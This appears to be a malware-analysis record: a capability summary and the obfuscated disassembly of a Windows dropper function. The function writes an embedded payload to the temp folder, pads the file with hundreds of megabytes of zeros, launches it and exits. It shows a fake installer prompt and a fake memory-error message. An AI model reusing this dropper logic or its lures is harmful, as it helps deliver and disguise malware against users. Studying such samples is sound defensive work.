Function at 0x180003b50
Capabilities:
Create process on windows
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x1f8
movaps xmmword [rsp + 0x1e0], xmm6
mov rbx, rcx
mov rax, qword [0x18002c008]
xor rax, rsp
mov qword [rsp + 0x1d8], rax
cmp edx, 1
mov eax, 0x1339fa9a
mov ebp, 0xe6a0ab31
cmove ebp, eax
mov ecx, 0xa91dc01d
mov r14, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rsi, qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea r12, [rsp + 0x1bc]
xorps xmm6, xmm6
jmp 0x180003bc0
mov ecx, 0xbab8f964
nop word cs:[rax + rax]
nop
mov eax, ecx
cmp ecx, 0xfc94b48
jg 0x180003c30
cmp eax, 0xbdbc02e6
jle 0x180003d00
cmp eax, 0xebdb169b
jle 0x180003e2d
cmp eax, 0x328c8b2
jg 0x180003f24
cmp eax, 0xf842949b
jg 0x180004161
cmp eax, 0xebdb169c
je 0x1800043ef
mov ecx, eax
cmp eax, 0xf0e3211e
jne 0x180003bc0
test r15d, r15d
mov ecx, 0x5148989d
mov eax, 0x1edf6e4c
cmove ecx, eax
mov dword [rsp + 0x94], r15d
jmp 0x180003bc0
cmp eax, 0x2f967c6d
jg 0x180003c90
cmp eax, 0x19823339
jle 0x180003e77
cmp eax, 0x22803938
jle 0x180003f6e
cmp eax, 0x27550afc
jg 0x1800041a8
cmp eax, 0x22803939
je 0x180004471
mov ecx, eax
cmp eax, 0x262d4f8c
jne 0x180003bc0
mov rax, qword [rsp + 0x60]
cmp byte [rax + 1], 0x4e
mov ecx, 0x1edf6e4c
mov eax, 0xae1ad998
cmove ecx, eax
jmp 0x180003bc0
cmp eax, 0x5b7572d2
jg 0x180003d6f
cmp eax, 0x45d6e20a
jle 0x180003fa5
cmp eax, 0x5148989c
jg 0x1800041e0
cmp eax, 0x45d6e20b
je 0x180004488
mov ecx, eax
cmp eax, 0x47b5d4f2
jne 0x180003bc0
movzx eax, byte [rsp + 0x5d]
mov dword [rsp + 0x98], eax
mov eax, dword [rsp + 0x98]
cmp eax, 1
mov ecx, 0xe0962cfb
mov eax, 0x9f7b5006
cmove ecx, eax
jmp 0x180003bc0
cmp eax, 0xa261af3f
jg 0x180003ed9
cmp eax, 0x8d3a52f7
jle 0x18000401c
cmp eax, 0x9d601964
jg 0x180004234
cmp eax, 0x8d3a52f8
je 0x1800044ad
mov ecx, eax
cmp eax, 0x944ee206
jne 0x180003bc0
mov dword [rsp + 0x9c], r13d
mov edx, dword [rsp + 0x9c]
mov rcx, rbx
lea r8, [rsp + 0x1c0]
mov r9, r12
call fcn.1800019b0
test eax, eax
mov ecx, 0xe65e0dfe
mov eax, 0x366e05a4
cmove ecx, eax
jmp 0x180003bc0
cmp eax, 0x6c151543
jle 0x180003fef
cmp eax, 0x788cff37
jg 0x18000427d
cmp eax, 0x6c151544
je 0x180004503
mov ecx, eax
cmp eax, 0x70903b91
jne 0x180003bc0
mov rcx, qword [rsp + 0x80]
lea rdx, [0x18001807e]
mov rdi, qword [sym.imp.KERNEL32.dll_lstrcatW]
call rdi
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x80]
call rdi
mov rcx, qword [rsp + 0x80]
lea rdx, str..lock
call rdi
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0x100]
cmp rax, 0xffffffffffffffff
mov ecx, 0x1514b824
mov eax, 0xd2e668b4
cmove ecx, eax
jmp 0x180003bc0
cmp eax, 0xd798bf7c
jle 0x180004049
cmp eax, 0xe65e0dfd
jg 0x1800042cf
cmp eax, 0xd798bf7d
je 0x180004521
mov ecx, eax
cmp eax, 0xe0962cfb
jne 0x180003bc0
mov eax, dword [rsp + 0x98]
cmp eax, 2
mov ecx, 0xa700a118
mov eax, 0x85129919
cmove ecx, eax
jmp 0x180003bc0
cmp eax, 0x1514b823
jle 0x180004084
cmp eax, 0x165a7155
jg 0x1800042fc
cmp eax, 0x1514b824
je 0x180004530
mov ecx, eax
cmp eax, 0x15b8f36d
jne 0x180003bc0
mov rax, qword [rsp + 0x68]
movzx eax, byte [rax + 2]
mov rcx, qword [rsp + 0x68]
movzx ecx, byte [rcx + 3]
shl ecx, 8
or ecx, eax
mov word [rsp + 0x5a], cx
cmp word [rsp + 0x5a], 0
mov ecx, 0x8d3a52f8
mov eax, 0x86867109
cmove ecx, eax
jmp 0x180003bc0
cmp eax, 0xa91dc01c
jle 0x1800040fb
cmp eax, 0xba494edb
jg 0x180004321
mov ecx, ebp
cmp eax, 0xa91dc01d
je 0x180003bc0
mov ecx, eax
cmp eax, 0xae1ad998
jne 0x180003bc0
mov rax, qword [rsp + 0x60]
cmp byte [rax + 2], 0x44
mov ecx, 0x1edf6e4c
mov eax, 0x788cff38
cmove ecx, eax
jmp 0x180003bc0
cmp eax, 0x6bdf355
jg 0x180004357
cmp eax, 0x328c8b3
je 0x180004563
mov ecx, eax
cmp eax, 0x4b298cc
jne 0x180003bc0
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
cmp byte [rax], 0x48
mov ecx, 0x1edf6e4c
mov eax, 0x262d4f8c
cmove ecx, eax
jmp 0x180003bc0
cmp eax, 0x1edf6e4b
jg 0x18000438f
cmp eax, 0x1982333a
je 0x180003bb0
mov ecx, eax
cmp eax, 0x1a8d0b35
jne 0x180003bc0
mov rcx, qword [rsp + 0x78]
call fcn.180001720
mov ecx, 0x60602446
jmp 0x180003bc0
cmp eax, 0x366e05a3
jg 0x1800043af
cmp eax, 0x2f967c6e
je 0x180004588
mov ecx, eax
cmp eax, 0x34c4d382
jne 0x180003bc0
mov rdx, qword [rsp + 0x80]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
mov ecx, 0x70903b91
mov eax, 0xa4c2155
cmove ecx, eax
jmp 0x180003bc0
cmp eax, 0x6a1dabb7
jle 0x1800043d4
cmp eax, 0x6a1dabb8
je 0x1800045d2
mov ecx, eax
cmp eax, 0x6bcf7e3b
jne 0x180003bc0
mov ecx, 0xfd46de1b
jmp 0x180003bc0
cmp eax, 0x85129919
je 0x1800045dc
cmp eax, 0x86172a1a
je 0x180004622
mov ecx, eax
cmp eax, 0x86867109
jne 0x180003bc0
mov ecx, 0x6bcf7e3b
jmp 0x180003bc0
cmp eax, 0xbdbc02e7
je 0x18000464b
cmp eax, 0xc7bab882
je 0x18000465f
mov ecx, eax
cmp eax, 0xd2e668b4
jne 0x180003bc0
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xa4c2155
jmp 0x180003bc0
cmp eax, 0xfc94b49
je 0x180004669
cmp eax, 0x1321cd11
je 0x180004689
mov ecx, eax
cmp eax, 0x1339fa9a
jne 0x180003bc0
lea r8, [rsp + 0x1d0]
mov qword [rsp + 0xe0], r8
mov rax, qword [rsp + 0xe0]
lea r9, [rsp + 0x1cc]
mov qword [rsp + 0xe8], r9
mov rax, qword [rsp + 0xe8]
mov dword [rsp + 0x1cc], 0
mov rcx, rbx
mov edx, 0x65
call fcn.1800019b0
test eax, eax
mov ecx, 0x4b298cc
jmp 0x18000479b
cmp eax, 0xa261af40
je 0x1800046ed
cmp eax, 0xa590a705
je 0x180004718
mov ecx, eax
cmp eax, 0xa700a118
jne 0x180003bc0
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x110], r12
mov rax, qword [rsp + 0x110]
mov dword [rsp + 0x1bc], 0
mov ecx, 0x944ee206
mov r13d, 0x66
jmp 0x180003bc0
cmp eax, 0xf842949c
je 0x180004722
mov ecx, eax
cmp eax, 0xfd46de1b
jne 0x180003bc0
mov rdi, qword [rsp + 0x1c0]
call r14
mov rcx, rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r13d, dword [rsp + 0x9c]
add r13d, 1
mov ecx, 0x944ee206
jmp 0x180003bc0
cmp eax, 0x27550afd
je 0x18000472c
mov ecx, eax
cmp eax, 0x2c810984
jne 0x180003bc0
call r14
mov r8, qword [rsp + 0xb0]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, 0x86867109
jmp 0x180003bc0
cmp eax, 0x5148989d
je 0x18000478e
mov ecx, eax
cmp eax, 0x5adfebd0
jne 0x180003bc0
mov edx, 0x2ee00000
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0xa8], rax
cmp qword [rsp + 0xa8], 0
mov ecx, 0x27550afd
mov eax, 0xa590a705
cmove ecx, eax
jmp 0x180003bc0
cmp eax, 0x9d601965
je 0x1800047a8
mov ecx, eax
cmp eax, 0x9f7b5006
jne 0x180003bc0
xor ecx, ecx
lea rdx, str.Click_OK_to_start_installation.
lea r8, str.Installer
mov r9d, 0x41
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 1
mov ecx, 0x22803939
mov eax, 0xa700a118
cmove ecx, eax
jmp 0x180003bc0
cmp eax, 0x788cff38
je 0x180004874
mov ecx, eax
cmp eax, 0x7b3b3c8e
jne 0x180003bc0
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x68]
movzx edx, byte [rcx + 1]
cmp dword [rsp + 0xd4], 0
mov ecx, 0x15b8f36d
mov edi, 0x6bcf7e3b
cmovne ecx, edi
cmp byte [rax], 0
mov dword [rsp + 0xd8], edx
mov eax, 0x15b8f36d
cmove ecx, eax
jmp 0x180003bc0
cmp eax, 0xe65e0dfe
je 0x180004916
mov ecx, eax
cmp eax, 0xe6a0ab31
jne 0x180003bc0
mov ecx, 0x21f025ef
mov dword [rsp + 0x90], 0
jmp 0x180003bc0
cmp eax, 0x165a7156
je 0x18000493b
mov ecx, eax
cmp eax, 0x18c3af52
jne 0x180003bc0
mov ecx, 0xf0e3211e
xor r15d, r15d
jmp 0x180003bc0
cmp eax, 0xba494edc
je 0x1800049bd
mov ecx, eax
cmp eax, 0xbab8f964
jne 0x180003bc0
mov eax, dword [0x18002ca38]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x1982333a
mov eax, 0xf842949c
jmp 0x180004706
cmp eax, 0x6bdf356
je 0x1800049df
mov ecx, eax
cmp eax, 0xa4c2155
jne 0x180003bc0
call r14
mov r8, qword [rsp + 0xf8]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, 0x6a1dabb8
jmp 0x180003bc0
cmp eax, 0x1edf6e4c
jne 0x180004a06
mov ecx, 0x5148989d
mov dword [rsp + 0x94], 0
jmp 0x180003bc0
cmp eax, 0x366e05a4
jne 0x180004a14
mov rax, qword [rsp + 0x110]
mov rax, qword [rsp + 0x108]
mov ecx, 0x18c3af52
jmp 0x180003bc0
cmp eax, 0x5b7572d3
jne 0x180004a23
mov ecx, 0xf0e3211e
mov r15d, 1
jmp 0x180003bc0
mov rcx, qword [rsp + 0x88]
lea rdx, [0x18001807e]
mov rdi, qword [sym.imp.KERNEL32.dll_lstrcatW]
call rdi
mov rdx, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x88]
call rdi
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
mov edx, 0x40000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
cmp rax, 0xffffffffffffffff
mov ecx, 0x1321cd11
mov eax, 0xa261af40
cmove ecx, eax
jmp 0x180003bc0
cmp byte [rsp + 0x59], 0
mov ecx, 0x60602446
mov eax, 0x1a8d0b35
cmovne ecx, eax
jmp 0x180003bc0
mov rcx, qword [rsp + 0x138]
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rdi
mov rcx, qword [rsp + 0x140]
call rdi
mov ecx, 0xba494edc
jmp 0x180003bc0
movzx eax, word [rsp + 0x5a]
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x74]
add eax, 2
movsxd rdi, eax
call r14
mov rcx, rax
mov edx, 8
mov r8, rdi
call rsi
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x118], rax
cmp qword [rsp + 0x118], 0
mov ecx, 0x165a7156
mov eax, 0x2c810984
cmove ecx, eax
jmp 0x180003bc0
mov rcx, qword [rsp + 0x78]
call fcn.1800015a0
test eax, eax
mov ecx, 0x5b7572d3
mov eax, 0x86172a1a
cmove ecx, eax
jmp 0x180003bc0
call fcn.1800019a0
mov ecx, 0x47b5d4f2
jmp 0x180003bc0
xor ecx, ecx
lea rdx, str.Error_writing_to_protected_memory._Please_restart_the_application._nError_code:_0xc0000005
lea r8, str.Critical_error
mov r9d, 0x10
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp byte [rsp + 0x59], 0
mov ecx, 0x39528609
mov eax, 0xbdbc02e7
cmovne ecx, eax
jmp 0x180003bc0
mov rax, qword [rsp + 0xe8]
mov rax, qword [rsp + 0xe0]
mov ecx, 0x21f025ef
mov dword [rsp + 0x90], 1
jmp 0x180003bc0
mov rdx, qword [rsp + 0x60]
add rdx, 8
movzx r8d, word [rsp + 0x5e]
mov rcx, qword [rsp + 0xf0]
call fcn.180006250
mov rcx, qword [rsp + 0x78]
call fcn.180001530
cmp dword [rsp + 0xd0], 0
setne byte [rsp + 0x59]
cmp byte [rsp + 0x59], 0
mov ecx, 0x86172a1a
mov eax, 0x6c151544
cmovne ecx, eax
jmp 0x180003bc0
mov ecx, 0xa700a118
jmp 0x180003bc0
call r14
mov r8d, 0x20a
mov rcx, rax
mov edx, 8
call rsi
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
mov ecx, 0x34c4d382
mov eax, 0x6a1dabb8
cmove ecx, eax
jmp 0x180003bc0
call fcn.180001840
cmp dword [rsp + 0xcc], 0
mov ecx, 0x47b5d4f2
mov edx, 0xd798bf7d
cmovne ecx, edx
test eax, eax
mov eax, 0x47b5d4f2
cmovne ecx, eax
jmp 0x180003bc0
mov rcx, qword [rsp + 0x78]
call fcn.180001720
mov ecx, 0x39528609
jmp 0x180003bc0
mov ecx, 0x328c8b3
jmp 0x180003bc0
call r14
mov r8, qword [rsp + 0x120]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, 0x2c810984
jmp 0x180003bc0
lea r9, [rsp + 0x1b8]
mov qword [rsp + 0x128], r9
mov rax, qword [rsp + 0x128]
mov dword [rsp + 0x1b8], 0
mov r8d, dword [rsp + 0xdc]
mov rdx, qword [rsp + 0x130]
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0xd8], 0
mov ecx, 0x5adfebd0
mov eax, 0x9d601965
cmove ecx, eax
jmp 0x180003bc0
mov eax, dword [0x18002ca38]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x1982333a
mov eax, 0xbab8f964
cmove ecx, eax
cmp dword [0x18002ca3c], 0xa
cmovl ecx, eax
jmp 0x180003bc0
mov ecx, 0x9d601965
jmp 0x180003bc0
mov ecx, 0xfc94b49
jmp 0x180003bc0
mov rcx, qword [rsp + 0xa8]
mov r8d, 0x2ee00000
xor edx, edx
call fcn.180006900
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0xa8]
mov qword [rsp + 0x20], 0
mov r8d, 0x2ee00000
lea r9, [rsp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0xa8]
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, 0xa590a705
jmp 0x180003bc0
cmp dword [rsp + 0x94], 0
mov ecx, 0x328c8b3
mov eax, 0xc7bab882
cmove ecx, eax
jmp 0x180003bc0
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x150]
mov qword [rsp + 0xb8], rdx
mov rax, qword [rsp + 0xb8]
mov rax, qword [rsp + 0xb8]
movups xmmword [rax], xmm6
movups xmmword [rax + 0x10], xmm6
movups xmmword [rax + 0x20], xmm6
movups xmmword [rax + 0x30], xmm6
movups xmmword [rax + 0x40], xmm6
movups xmmword [rax + 0x50], xmm6
mov qword [rax + 0x60], 0
lea rdi, [rsp + 0x138]
mov qword [rsp + 0xc0], rdi
mov rax, qword [rsp + 0xc0]
mov rax, qword [rsp + 0xc0]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov dword [rsp + 0x150], 0x68
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdx
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
mov ecx, 0x45d6e20b
mov eax, 0xba494edc
cmove ecx, eax
jmp 0x180003bc0
mov rax, qword [rsp + 0x60]
movzx eax, byte [rax + 3]
mov dword [rsp + 0xcc], eax
mov rax, qword [rsp + 0x60]
movzx eax, byte [rax + 4]
mov dword [rsp + 0xd0], eax
mov rax, qword [rsp + 0x60]
movzx eax, byte [rax + 5]
mov byte [rsp + 0x5d], al
call fcn.1800012e0
mov dword [rsp + 0xd4], eax
mov rax, qword [rsp + 0x60]
movzx eax, byte [rax + 6]
mov rcx, qword [rsp + 0x60]
movzx ecx, byte [rcx + 7]
shl ecx, 8
or ecx, eax
mov word [rsp + 0x5e], cx
mov rdi, r12
movzx r12d, word [rsp + 0x5e]
add r12, 2
call r14
mov rcx, rax
mov edx, 8
mov r8, r12
mov r12, rdi
call rsi
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
mov ecx, 0x2f967c6e
mov eax, 0x18c3af52
cmove ecx, eax
jmp 0x180003bc0
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
mov ecx, 0x7b3b3c8e
mov eax, 0xfd46de1b
cmove ecx, eax
jmp 0x180003bc0
mov rdx, qword [rsp + 0x68]
add rdx, 4
movzx r8d, word [rsp + 0x5a]
mov rcx, qword [rsp + 0xb0]
call fcn.180006250
mov eax, dword [rsp + 0x1bc]
sub eax, dword [rsp + 0x74]
add eax, 0xfffffff8
mov dword [rsp + 0xdc], eax
mov eax, dword [rsp + 0x74]
add eax, 8
cdqe
add rax, qword [rsp + 0x68]
mov qword [rsp + 0x130], rax
call r14
mov r8d, 0x20a
mov rcx, rax
mov edx, 8
call rsi
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0
mov ecx, 0x6bdf356
jmp 0x1800049f9
mov rax, qword [rsp + 0xc0]
mov rax, qword [rsp + 0xb8]
mov rax, qword [rsp + 0x128]
mov ecx, 0xa261af40
jmp 0x180003bc0
mov rdx, qword [rsp + 0x88]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
mov ecx, 0xebdb169c
mov eax, 0xfc94b49
cmove ecx, eax
jmp 0x180003bc0
mov ecx, eax
cmp eax, 0x21f025ef
je 0x180004a38
jmp 0x180003bc0
mov ecx, eax
cmp eax, 0x39528609
jne 0x180003bc0
jmp 0x180004a30
mov ecx, eax
cmp eax, 0x60602446
jne 0x180003bc0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [rsp + 0x1d8]
xor rcx, rsp
call fcn.180004a80
mov eax, dword [rsp + 0x90]
movaps xmm6, xmmword [rsp + 0x1e0]
add rsp, 0x1f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret